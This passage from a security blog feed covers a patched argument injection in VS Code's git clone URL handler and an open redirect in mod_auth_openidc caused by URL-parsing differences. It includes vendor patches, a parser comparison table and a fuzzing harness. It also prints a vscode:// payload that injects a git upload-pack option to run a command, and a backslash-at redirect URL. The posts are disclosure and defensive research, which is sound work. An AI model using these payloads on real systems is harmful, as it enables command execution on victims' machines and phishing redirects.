   	 const repositoryPath = await window.withProgress(
   		 opts,
   		 (progress, token) =&gt; this.git.clone(url!, { parentPath: parentPath!, progress, recursive: options.recursive }, token)
 );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/git/src/commands.ts&lt;/em&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;async clone(url: string, options: ICloneOptions, cancellationToken?: CancellationToken): Promise&lt;string&gt; {
    let baseFolderName = decodeURI(url).replace(/[\/]+$/, &apos;&apos;).replace(/^.*[\/\\]/, &apos;&apos;).replace(/\.git$/, &apos;&apos;) || &apos;repository&apos;;
    let folderName = baseFolderName;
    let folderPath = path.join(options.parentPath, folderName);
    // [...]
    try {
   	 let command = [&apos;clone&apos;, url.includes(&apos; &apos;) ? encodeURI(url) : url, folderPath, &apos;--progress&apos;];
   	 if (options.recursive) {
   		 command.push(&apos;--recursive&apos;);
   	 }
   	 await this.exec(options.parentPath, command, {
   		 cancellationToken,
   		 env: { &apos;GIT_HTTP_USER_AGENT&apos;: this.userAgent },
   		 onSpawn,
   	 });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/git/src/git.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;As promised, there is an argument injection bug in this code: the URL to clone the Git repository is fully controlled and concatenated into the external command line. If this URL starts with dashes, Git will understand it as an option instead of a positional argument. &lt;/p&gt;&lt;h2&gt;Exploiting an argument injection on a Git clone operation&lt;/h2&gt;&lt;p&gt;Argument injection vulnerabilities are very interesting because they are all different and often imply some subtleties; this one is not an exception. This section describes one way to exploit it, other ways exist and are left as an exercise to the reader. &lt;/p&gt;&lt;p&gt;Git used to implement &lt;code&gt;git-remote-ext&lt;/code&gt; to &amp;quot;bridge smart transport to external command&amp;quot; but this feature is now disabled by default. &lt;/p&gt;&lt;p&gt;As a reminder, we have two injection points:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;url&lt;/code&gt;: the URL of the remote Git repository to clone;&lt;/li&gt;&lt;li&gt;&lt;code&gt;folderPath&lt;/code&gt;: the destination folder, computed from the URL of the Git repository.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This is very important in this case as our injected option takes the place of a positional argument: without the second injection point Git wouldn&amp;#x27;t have anything to clone from and the injection wouldn&amp;#x27;t be exploitable.&lt;/p&gt;&lt;p&gt;Finally, if there is any space in the payload it will be URL-encoded before its interpolation in the command line; it will be easier to try to craft one without spaces:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;let command = [&apos;clone&apos;, url.includes(&apos; &apos;) ? encodeURI(url) : url, folderPath, &apos;--progress&apos;];&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/git/src/git.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;We came up with the following payload:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;vscode://&lt;/code&gt;: the custom scheme registered by Visual Studio Code to the operating system;&lt;/li&gt;&lt;li&gt;&lt;code&gt;vscode.git/clone?url=&lt;/code&gt;: required to trigger the &lt;code&gt;git.clone&lt;/code&gt; command in Visual Studio Code;&lt;/li&gt;&lt;li&gt;&lt;code&gt;-u$({open,-a,calculator})&lt;/code&gt;: we inject the option &lt;code&gt;-u&lt;/code&gt;, equivalent to &lt;code&gt;--upload-pack&lt;/code&gt;, to override the command that will be used to communicate with the remote end;  &lt;/li&gt;&lt;li&gt;&lt;code&gt;:x&lt;/code&gt;: this part is required to trick Git into using the transport layer, recognize it as &lt;code&gt;PROTO_LOCAL&lt;/code&gt; and invoke the aforementioned &lt;em&gt;upload-pack&lt;/em&gt;. &lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/22aba702-fe27-4c94-89f2-c1e790c6096c/body-18196ea6-90b3-4830-9cb9-cb4d92af947c_vscode.png&quot; /&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;Microsoft addressed this issue by improving its validation on the URL of the Git repository to clone as part of the commit &lt;a href=&quot;https://github.com/microsoft/vscode/commit/c5da5332d54f610b1b3e6dd9ea9b699971b57407&quot;&gt;&lt;code&gt;c5da533&lt;/code&gt;&lt;/a&gt;. The URL is parsed using Uri, an internal URI parser,  to validate the scheme against a pre-established allow list. The rationale behind this change is that the argument injection bug can only happen if the prefix of the data is fully controlled, which won&amp;#x27;t be possible if the scheme part of the URL has to be part of this list. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/extensions/git/src/protocolHandler.ts
+++ b/extensions/git/src/protocolHandler.ts
@@ -7,6 +7,8 @@ import { UriHandler, Uri, window, Disposable, commands } from &apos;vscode&apos;;
 import { dispose } from &apos;./util&apos;;
 import * as querystring from &apos;querystring&apos;;
 
+const schemes = new Set([&apos;file&apos;, &apos;git&apos;, &apos;http&apos;, &apos;https&apos;, &apos;ssh&apos;]);
+
 export class GitProtocolHandler implements UriHandler {
 
 	private disposables: Disposable[] = [];
@@ -26,9 +28,27 @@ export class GitProtocolHandler implements UriHandler {
 
 		if (!data.url) {
 			console.warn(&apos;Failed to open URI:&apos;, uri);
+			return;
+		}
+
+		if (Array.isArray(data.url) &amp;&amp; data.url.length === 0) {
+			console.warn(&apos;Failed to open URI:&apos;, uri);
+			return;
+		}
+
+		let cloneUri: Uri;
+		try {
+			cloneUri = Uri.parse(Array.isArray(data.url) ? data.url[0] : data.url, true);
+			if (!schemes.has(cloneUri.scheme.toLowerCase())) {
+				throw new Error(&apos;Unsupported scheme.&apos;);
+			}
+		}
+		catch (ex) {
+			console.warn(&apos;Invalid URI:&apos;, uri);
+			return;
 		}
-		commands.executeCommand(&apos;git.clone&apos;, data.url);
+		commands.executeCommand(&apos;git.clone&apos;, cloneUri.toString(true));
 	}
 	dispose(): void {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;commit c5da533&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This finding was not eligible for a reward from the Microsoft Bug Bounty Program, as only the core is part of the scope; built-in extensions are de-facto excluded even if they are enabled by default. This submission still yielded us 40 points for the Microsoft Researcher Recognition Program and got us on the MSRC 2022 Q2 Leaderboard. &lt;/p&gt;&lt;p&gt;It is also interesting to note that the Visual Studio Code team started publishing information about security issues on GitHub on top of the usual security bulletin and release notes: the label &lt;em&gt;security&lt;/em&gt; is now added to issues, and &lt;a href=&quot;https://github.com/microsoft/vscode/security/advisories&quot;&gt;GitHub security advisories&lt;/a&gt; are published.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-05&lt;/td&gt;&lt;td&gt;This issue is reported to Microsoft on their Researcher Portal.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-06&lt;/td&gt;&lt;td&gt;Microsoft confirms the issue and starts working on a patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-10&lt;/td&gt;&lt;td&gt;The patch is part of the release 1.67.1.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Timeline of the vulnerability&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this publication, we demonstrated how a vulnerability in one of the Visual Studio Code URL handlers could lead to the execution of arbitrary commands on the victim&amp;#x27;s host. The exploitation technique we demonstrated can also be applied to any other argument injection on a git clone invocation. We urge all developers to upgrade their IDE to the latest version and to remain careful when opening foreign links.&lt;/p&gt;&lt;p&gt;We would like to thank Microsoft for their prompt patch and the improvements on their Visual Studio Code disclosure process.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-package-managers/&quot;&gt;Securing Developer Tools: Package Managers&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Security Implications of URL Parsing Differentials]]></title><description><![CDATA[Our security research led to the discovery of a flaw in a popular Apache2 authentication module. We come back on this case of parsing differential and how various languages behave when working with URLs.]]></description><link>https://www.sonarsource.com/blog/security-implications-of-url-parsing-differentials</link><guid isPermaLink="false">dc8f5dfb-9cee-5c75-8eda-35d9ebe9a949</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 08 Aug 2022 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During our security research on an authentication module for Apache2, we identified an issue introduced by how the HTTP server Apache2 and modern web browsers parse URLs differently. Although the general problem of &lt;em&gt;differential URL parsing&lt;/em&gt; has been documented publicly, we think it did not get the attention it deserved. It can impact a broad range of software and introduce vulnerabilities in critical features like authentication flows and requests to internal services.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we detail how differential URL parsing bugs can occur and what URL parser libraries are affected. We’ll use a recent bug that we discovered in &lt;code&gt;mod_auth_openidc&lt;/code&gt;, a popular Apache2 module, to give you a real-life example of this pattern and then show you how to detect similar bugs in your application through differential testing easily. With this, we hope to raise awareness about these subtle bugs and to add a new item to your toolbox!&lt;/p&gt;&lt;h2&gt;Example of differential URL parsing&lt;/h2&gt;&lt;p&gt;To understand differential URL parsing, let’s look at &lt;code&gt;mod_auth_openidc&lt;/code&gt;, a third-party Apache2 module developed by Zmartzone. It acts as an &lt;em&gt;OpenID Connect Relying Party&lt;/em&gt;, allowing users to authenticate and to authorize against an &lt;em&gt;OpenID Connect Provider&lt;/em&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, you can deploy this module before your public web assets and only allow users authenticated to their company Google account. If you want to know more about these technologies, Okta published an &lt;a href=&quot;https://developer.okta.com/blog/2019/10/21/illustrated-guide-to-oauth-and-oidc&quot;&gt;illustrated guide&lt;/a&gt; about &lt;em&gt;Oauth2&lt;/em&gt; and &lt;em&gt;OpenID Connect&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the &lt;em&gt;OpenID Connect Provider&lt;/em&gt; is very likely to be present on another origin (in the HTTP sense) than where the applications are hosted, users need to be redirected across them to pass around important information. This information also often includes URLs to redirect the client to; it is crucial to validate these values to avoid redirecting the client to unintended destinations: this unsafe behavior is called &lt;em&gt;Open Redirect&lt;/em&gt; (for more information, see our rule &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-5146&quot;&gt;S5146&lt;/a&gt;).  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is commonly agreed that Open Redirect bugs are not security-relevant as-is and require user interaction to have an impact on their own (e.g., phishing). Chained with other features of applications like an OAuth flow, they can allow attackers to steal access tokens and obtain the privileges of the victim on the application.&lt;/p&gt;&lt;h3&gt;CVE-2021-32786 - Open Redirect in mod_auth_openidc&lt;/h3&gt;&lt;p&gt;In this section, we document an Open Redirect issue we discovered in &lt;code&gt;mod_auth_openidc&lt;/code&gt; caused by a parsing differential between Apache2&amp;#x27;s internal URL parsing methods and the one effectively used by web browsers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When validating URLs to redirect users to, like, during the refresh token request or logout steps, a method named &lt;code&gt;oidc_validate_redirect_url()&lt;/code&gt; is called. Its implementation relies on &lt;code&gt;apr_uri_parse()&lt;/code&gt;, at [1], to extract the relevant information from the user-controlled parameter and fill out the members of an &lt;code&gt;apr_uri_t&lt;/code&gt; structure:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/zmartzone/mod_auth_openidc/blob/143e4dd6ae7a80a37029adb77df297d585f577a8/src/mod_auth_openidc.c&quot;&gt;&lt;strong&gt;src/mod_auth_openidc.c&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static apr_byte_t oidc_validate_redirect_url(request_rec *r, oidc_cfg *c,
       const char *url, apr_byte_t restrict_to_host, char **err_str,
       char **err_desc) {
   apr_uri_t uri;
   const char *c_host = NULL;
   apr_hash_index_t *hi = NULL;
 
   if (apr_uri_parse(r-&gt;pool, url, &amp;uri) != APR_SUCCESS) {  // [1]
       *err_str = apr_pstrdup(r-&gt;pool, &quot;Malformed URL&quot;);
       *err_desc = apr_psprintf(r-&gt;pool, &quot;not a valid URL value: %s&quot;, url);
       oidc_error(r, &quot;%s: %s&quot;, *err_str, *err_desc);
       return FALSE;
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Further checks are performed around the call to &lt;code&gt;oidc_validate_redirect_url()&lt;/code&gt;, such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;If not explicitly configured to match an allow list of “safe” redirection URLs, match against the hostname (e.g., current request’s &lt;code&gt;Host&lt;/code&gt; must match the one extracted from the parameter);&lt;/li&gt;&lt;li&gt;Prevent the use of URLs without slashes or starting with &lt;code&gt;//&lt;/code&gt;, &lt;code&gt;\\&lt;/code&gt; to prevent vulnerabilities like CVE-2019-3877 (see &lt;a href=&quot;https://github.com/zmartzone/mod_auth_openidc/issues/449&quot;&gt;#449&lt;/a&gt;, &lt;a href=&quot;https://github.com/zmartzone/mod_auth_openidc/pull/453&quot;&gt;#453&lt;/a&gt;);&lt;/li&gt;&lt;li&gt;Prevent using CR and LF characters in the parameter to avoid new line injection (and ultimately Open Redirect and Cross-Site Scripting bugs).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, &lt;code&gt;apr_uri_parse()&lt;/code&gt; splits URLs based on &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2396&quot;&gt;RFC2396&lt;/a&gt; and &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc3986&quot;&gt;RFC3986&lt;/a&gt; (with some custom behavior, e.g., userinfo parsing), while browsers try to follow the &lt;a href=&quot;https://url.spec.whatwg.org/&quot;&gt;WHATWG living standard&lt;/a&gt;. Every URL parser will tend to have slightly different implementation quirks, but here we are talking about two different specifications. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As stated in the&lt;em&gt; Authority state&lt;/em&gt; section of WHATWG, encountering a backslash will set the state to &lt;em&gt;host state &lt;/em&gt;(like a slash would be handled). The function &lt;code&gt;apr_uri_parse()&lt;/code&gt;will simply consider it as part of the userinfo because it is on the left of the last &lt;code&gt;@&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/* If there&apos;s a username:password@host:port, the @ we want is the last @...
   * too bad there&apos;s no memrchr()... [...]
   */
do {
   --s;
} while (s &gt;= hostinfo &amp;&amp; *s != &apos;@&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because of this parsing differential, &lt;code&gt;mod_auth_openidc&lt;/code&gt; can be tricked into thinking that an URL is “safe” (e.g., pointing to the right domain) while browsers will follow the redirection to an unintended host. This behavior can be demonstrated on endpoints like &lt;code&gt;/oauth2/callback&lt;/code&gt;, with a parameter logout set to &lt;code&gt;https://evil.destination.tld\@host.tld/&lt;/code&gt;: this parameter goes through all the validation steps successfully, and the user is redirected to &lt;code&gt;https://evil.destination.tld&lt;/code&gt;. This is not the expected behavior and it could be abused by attackers to perform advanced phishing attacks, using the victim&amp;#x27;s trust in the domain on which &lt;code&gt;mod_auth_openidc&lt;/code&gt; is running.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;As migrating to a WHATWG-compliant URL parser would require significant changes, the maintainers of &lt;code&gt;mod_auth_openidc&lt;/code&gt; decided to add a special case to replace any backslash with slashes (&lt;a href=&quot;https://github.com/zmartzone/mod_auth_openidc/commit/69cb206225c749b51db980d44dc268eee5623f2b&quot;&gt;&lt;code&gt;69cb206&lt;/code&gt;&lt;/a&gt;): &lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/src/mod_auth_openidc.c
+++ b/src/mod_auth_openidc.c
@@ -2920,12 +2920,21 @@ static int oidc_handle_logout_backchannel(request_rec *r, oidc_cfg *cfg) {
	 return rc;
 }
 
+#define OIDC_MAX_URL_LENGTH DEFAULT_LIMIT_REQUEST_LINE * 2
+
 static apr_byte_t oidc_validate_redirect_url(request_rec *r, oidc_cfg *c,
-   	 const char *url, apr_byte_t restrict_to_host, char **err_str,
+   	 const char *redirect_to_url, apr_byte_t restrict_to_host, char **err_str,
		 char **err_desc) {
	 apr_uri_t uri;
	 const char *c_host = NULL;
	 apr_hash_index_t *hi = NULL;
+    size_t i = 0;
+    char *url = apr_pstrndup(r-&gt;pool, redirect_to_url, OIDC_MAX_URL_LENGTH);
+
+    // replace potentially harmful backslashes with forward slashes
+    for (i = 0; i &lt; strlen(url); i++)
+   	 if (url[i] == &apos;\\&apos;)
+   		 url[i] = &apos;/&apos;;
 
	 if (apr_uri_parse(r-&gt;pool, url, &amp;uri) != APR_SUCCESS) {
		 *err_str = apr_pstrdup(r-&gt;pool, &quot;Malformed URL&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This commit effectively prevents the edge case of a parsing differential that is described below. This finding was patched alongside CVE-2021-32785, &lt;a href=&quot;https://github.com/zmartzone/mod_auth_openidc/security/advisories/GHSA-55r8-6w97-xxr4&quot;&gt;a format string vulnerability in the implementation of the Redis cache&lt;/a&gt; that we identified during the same code review session.&lt;/p&gt;&lt;h2&gt;What&amp;#x27;s in my parser?&lt;/h2&gt;&lt;p&gt;We looked at the most common of every ecosystem and classified them depending on if they followed WHATWG or one of the RFCs (simplified by RFC 3986 in the table below). Keep in mind that even if they claim to follow these standards, their implementations may have slight differences, and distinct parsers can be used by built-in functions.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Parser&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Claims to follow…&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;http://a.tld\@b.tld&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;cURL&lt;/td&gt;&lt;td&gt;RFC 3986 (with additions)&lt;/td&gt;&lt;td&gt;b.tld&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PHP&lt;/td&gt;&lt;td&gt;parse_url&lt;/td&gt;&lt;td&gt;RFC 3986, but not fully&lt;/td&gt;&lt;td&gt;b.tld&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;NodeJS&lt;/td&gt;&lt;td&gt;url.parse&lt;/td&gt;&lt;td&gt;WHATWG&lt;/td&gt;&lt;td&gt;a.tld&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Java&lt;/td&gt;&lt;td&gt;java.net.URL&lt;/td&gt;&lt;td&gt;RFC 3986&lt;/td&gt;&lt;td&gt;b.tld&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Go&lt;/td&gt;&lt;td&gt;net/url&lt;/td&gt;&lt;td&gt;RFC 3986&lt;/td&gt;&lt;td&gt;Invalid userinfo&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Ruby&lt;/td&gt;&lt;td&gt;uri&lt;/td&gt;&lt;td&gt;RFC 3986&lt;/td&gt;&lt;td&gt;Exception&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Python 3&lt;/td&gt;&lt;td&gt;urllib&lt;/td&gt;&lt;td&gt;RFC 3986&lt;/td&gt;&lt;td&gt;a.tld\@b.tld&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Python 3&lt;/td&gt;&lt;td&gt;urllib3 / requests&lt;/td&gt;&lt;td&gt;RFC 3986&lt;/td&gt;&lt;td&gt;a.tld&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We were surprised by some of these results:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;NodeJS chose to conform to WHATWG to be compatible with browsers and refers to their &lt;a href=&quot;https://nodejs.org/api/url.html#legacy-url-api&quot;&gt;Legacy API&lt;/a&gt; if developers want the &amp;quot;old&amp;quot; behavior;&lt;/li&gt;&lt;li&gt;Ruby and Go do not accept the ambiguous data; they raise an error instead; &lt;/li&gt;&lt;li&gt;Python&amp;#x27;s &lt;code&gt;urllib&lt;/code&gt; and &lt;code&gt;urllib3&lt;/code&gt; stand out from the rest. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The risk is even more present in microservices architectures, where different languages could exchange data or be placed in front of each other (e.g., a Go reverse proxy before a Python backend). Thorough validation of data won&amp;#x27;t always help—after all, they are both &amp;quot;valid&amp;quot; URLs. &lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Comparing URL parsers&lt;/h2&gt;&lt;p&gt;Let’s try to re-discover this quirk using differential testing, even if this approach is biased because we already know that we&amp;#x27;re comparing two distinct specifications. The idea is that we will generate random test cases and parse this data with our two parsers: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;libapr&lt;/code&gt;, as used by &lt;code&gt;mod_auth_openidc&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;one following WHATWG, to replicate the behavior of a web browser. For instance, the Python package &lt;code&gt;whatwg-url&lt;/code&gt; avoids the hassle of interfacing this component of their gigantic code base at the cost of introducing new quirks.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the output of both libraries for the same input is different, we are facing a parsing differential. The only drawback is that this may lead to results that are not always security-relevant and can require the progressive implementation of precise heuristics to reduce the burden of the triaging step.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We decided to use GitLab’s &lt;a href=&quot;https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/pythonfuzz&quot;&gt;&lt;code&gt;pythonfuzz&lt;/code&gt;&lt;/a&gt; to ease the creation of our testing harness. Coverage guidance is not &lt;em&gt;that&lt;/em&gt; useful in this case, and a simple for-loop over two bytes would have been enough. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Testing for parsing differential bugs is important in modern architectures, as they often involve multiple parsers for the same specifications. For instance, a reverse proxy could take decisions based on an incoming request but the application behind it could understand it differently—a great example of the impact of a similar bug on GitLab was documented by Joern Schneeweisz (&amp;quot;&lt;a href=&quot;https://about.gitlab.com/blog/2020/03/30/how-to-exploit-parser-differentials/&quot;&gt;How to exploit parser differentials&lt;/a&gt;&amp;quot;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As you may have already expected, &lt;code&gt;libapr&lt;/code&gt; is a C library and &lt;code&gt;whatwg-url&lt;/code&gt; is written in Python: we need to interface both libraries in the test harness using CFFI. We generated the right structures required for &lt;code&gt;apr_uri_parse&lt;/code&gt; using &lt;code&gt;bindgen&lt;/code&gt;, then added simple heuristics to detect any security-relevant discrepancies and raise an exception if that&amp;#x27;s the case. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, we inserted the random payload only between the intended domain and an unintended one, and raised an exception if &lt;code&gt;libapr&lt;/code&gt; extracted the &lt;em&gt;right&lt;/em&gt; one but &lt;code&gt;whatwg-url&lt;/code&gt; the &lt;em&gt;wrong &lt;/em&gt;one:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;MY_DOMAIN = b&apos;evil.tld&apos;
VALID_DOMAIN = b&apos;good.tld&apos;

def fuzz(buf):
     for testcase in [
        b&apos;http://&apos; + VALID_DOMAIN + buf + MY_DOMAIN,
        b&apos;http://&apos; + MY_DOMAIN + buf + VALID_DOMAIN,
     ]:
     # [...]
     apr.apr_initialize()
     apr.apr_pool_create_ex(pool_p, ffi.NULL, ffi.NULL, ffi.NULL)
    	if apr.apr_uri_parse(pool_p[0], uri, res) == 0 and res.hostname != ffi.NULL:
                res_apr = normalize(ffi.string(res.hostname))
                if res_apr == VALID_DOMAIN.decode(&apos;ascii&apos;) and MY_DOMAIN.decode(&apos;ascii&apos;) in res_whatwg and b&apos;\x00&apos; not in testcase:
                    print(f&quot;Found! {res_apr=} vs {res_whatwg=}, {testcase=}&quot;)
                    raise Exception()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Running this harness for a few seconds finds the same sequence as the one we did in the first section of this article!&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ python3 ./whatwg_fuzz.py
#0 READ units: 1
#1 NEW     cov: 0 corp: 1 exec/s: 4 rss: 37.83984375 MB
[...]
#1156 NEW     cov: 1844 corp: 14 exec/s: 284 rss: 45.890625 MB
Found! res_apr=&apos;good.tld&apos; vs res_whatwg=&apos;evil.tld&apos;, testcase=b&apos;http://evil.tld\\@good.tld&apos;
sample was written to crash-a5c892850b7fa58987e5a7d039b84c1e0b8a8c2a7e1a5ff4dabd427c182ba81e
sample = 5c40
$ cat crash-a5c892850b7fa58987e5a7d039b84c1e0b8a8c2a7e1a5ff4dabd427c182ba81e
\@&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is definitely an over-engineered example of fuzzing for parsing differentials, but it stays simple enough to be applied in minutes during development or security research.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-07-22&lt;/td&gt;&lt;td&gt;We report two bugs to the maintainers of mod_auth_openidc.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-07-22&lt;/td&gt;&lt;td&gt;The vendor acknowledges the vulnerabilities.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-07-22&lt;/td&gt;&lt;td&gt;mod_auth_openidc 2.4.9 is released, and GitHub assigns CVE-2021-32786 to this issue.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we presented a great example of a parsing differential bug that is very common and easy to identify across applications. Further, we looked at commonly used URL parser libraries and how such bugs impact them. We learned that rejecting ambiguous input is safer than trying to parse it incorrectly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also demonstrated that automating the discovery of such problems is a relatively easy task for developers and security researchers alike. The sequence &lt;code&gt;\@&lt;/code&gt; is also something to think of when working with URLs to prevent &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-5146&quot;&gt;Open Redirect&lt;/a&gt; and &lt;a href=&quot;https://rules.sonarsource.com/php/type/Vulnerability/RSPEC-5144&quot;&gt;SSRF&lt;/a&gt; vulnerabilities, including during black box testing! This is only an example, and there are many more quirks left as an exercise to discover! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the maintainers of &lt;code&gt;mod_auth_openidc&lt;/code&gt;, who acknowledged and fixed our reports in less than 24 hours. &lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/blitzjs-prototype-pollution/&quot;&gt;Remote Code Execution via Prototype Pollution in Blitz.js&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Disclosing information with a side-channel in Django]]></title><description><![CDATA[We recently found a vulnerability in Django that allows us to disclose sensitive information. Let’s review the root cause, exploiting technique, and patch.]]></description><link>https://www.sonarsource.com/blog/disclosing-information-with-a-side-channel-in-django</link><guid isPermaLink="false">acdedf69-cf9f-5479-b351-dfe64f1ba2a2</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 26 Jul 2022 00:00:00 